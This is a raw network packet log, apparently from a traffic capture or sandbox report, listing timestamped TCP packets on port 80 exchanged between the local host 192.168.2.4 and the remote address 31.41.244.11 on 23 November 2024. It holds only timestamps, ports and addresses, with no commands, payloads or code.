Nov 23, 2024 11:22:11.903529882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.903573990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.904453993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.904501915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.904580116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.904625893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.905457020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.905500889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.905589104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.905632973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.906657934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.906702042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.906774044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.906816959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.907383919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.907434940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.907485962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.907537937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.908385038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.908447981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.908570051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.908617973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.909327030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.909374952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.909446001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.909497976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.910475969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.910526037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.910594940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.910643101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.911602974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.911652088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.911703110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.911755085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.912451029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.912497044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.912561893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.912611961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.913321972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.913371086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.913484097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.913537025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.914341927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.914391994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.914514065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.914567947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.915353060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.915405035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.915450096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.915519953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.916348934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.916404963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.916877031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.916917086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.917586088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.917632103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.917864084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.917916059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.918498039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.918545961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.918613911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.918661118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.919424057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.919473886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.919514894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.919560909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.920382977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.920433044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.920571089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.920619011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.921396017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.921448946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.921462059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.921509981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.922266960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.922316074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.071194887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.071208000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.071391106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.071676016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.071697950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.072287083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.072432041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.072485924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.072556973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.072613001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.073416948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.073462963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.073489904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.073533058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.074425936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.074480057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.074513912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.074563026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.075481892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.075532913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.075541019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.075587988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.076472044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.076483011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.076524973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.077444077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.077455997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.077501059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.078414917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.078465939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.078536034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.078588009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.079433918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.079488039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.079529047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.079577923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.080420017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.080476046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.080528975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.080579042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.081444025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.081511021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.081523895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.081578970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.082432985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.082488060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.082567930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.082616091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.083492994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.083543062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.083621979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.083672047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.084448099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.084497929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.084563017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.084611893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.085473061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.085526943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.085541964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.085607052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.086440086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.086493015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.086533070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.086591959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.087460041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.087512016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.087564945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.087611914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.088450909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.088505030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.088526011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.088570118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.089466095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.089526892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.089575052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.089624882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.090456963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.090513945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.090595961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.090645075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.091408968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.091460943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.091547012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.091595888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.092431068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.092479944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.092655897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.092700005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.093442917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.093492031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.093604088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.093666077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.094439030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.094487906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.094551086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.094618082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.095467091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.095518112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.095561028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.095616102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.096426964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.096474886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.096535921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.096580982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.097425938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.097481012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.097534895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.097580910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.098428011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.098499060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.098540068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.098599911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.099441051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.099483013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.099493027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.099539042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.099539042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.100436926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.100486994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.100550890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.100603104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.101449966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.101463079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.101495981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.101517916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.102415085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.102459908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.102494001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.102545023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.103409052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.103461027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.103522062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.103574038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.104420900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.104465008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.104602098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.104650021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.105462074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.105509043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.105566978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.105612993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.106415033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.106462002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.106519938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.106564999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.107481956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.107531071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.107729912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.107781887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.108552933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.108620882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.108669996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.108720064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.109409094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.109467030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.109544992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.109597921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.110410929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.110462904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.110496998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.110549927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.111418962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.111479044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.111520052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.111567020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.112426043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.112488985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.112587929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.112638950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.113437891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.113488913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.113495111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.113543034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.114433050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.114485979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.114509106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.114552021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.115612984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.115664005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.115715981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.115765095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.116554976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.116650105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.116683960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.116715908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.117475986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.117512941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.117525101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.117554903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.118484020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.118542910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.118731022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.118782043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.119577885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.119625092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.119823933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.119868040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.120526075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.120570898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.120635986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.120683908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.121414900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.121463060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.121529102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.121577978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.122457981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.122529030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.122615099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.122616053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.123392105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.123437881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.272756100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.272844076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.272847891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.272986889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.273164034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.273183107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.273226976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.273252964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.274116993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.274249077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.274271011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.274305105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.275121927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.275171995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.275217056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.275264025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.276144028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.276192904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.276241064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.276289940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.277112007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.277159929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.277229071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.277282000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.278119087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.278167963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.278273106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.278323889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.279202938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.279252052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.279300928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.279357910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.280136108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.280186892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.280191898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.280241966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.281078100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.281127930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.281214952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.281264067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.282300949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.282351017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.282531977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.282582998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.283283949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.283359051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.283519030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.283570051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.284085989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.284132957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.284292936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.284343004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.285131931 CET	80	49765	31.41.244.11	192.168.2.4
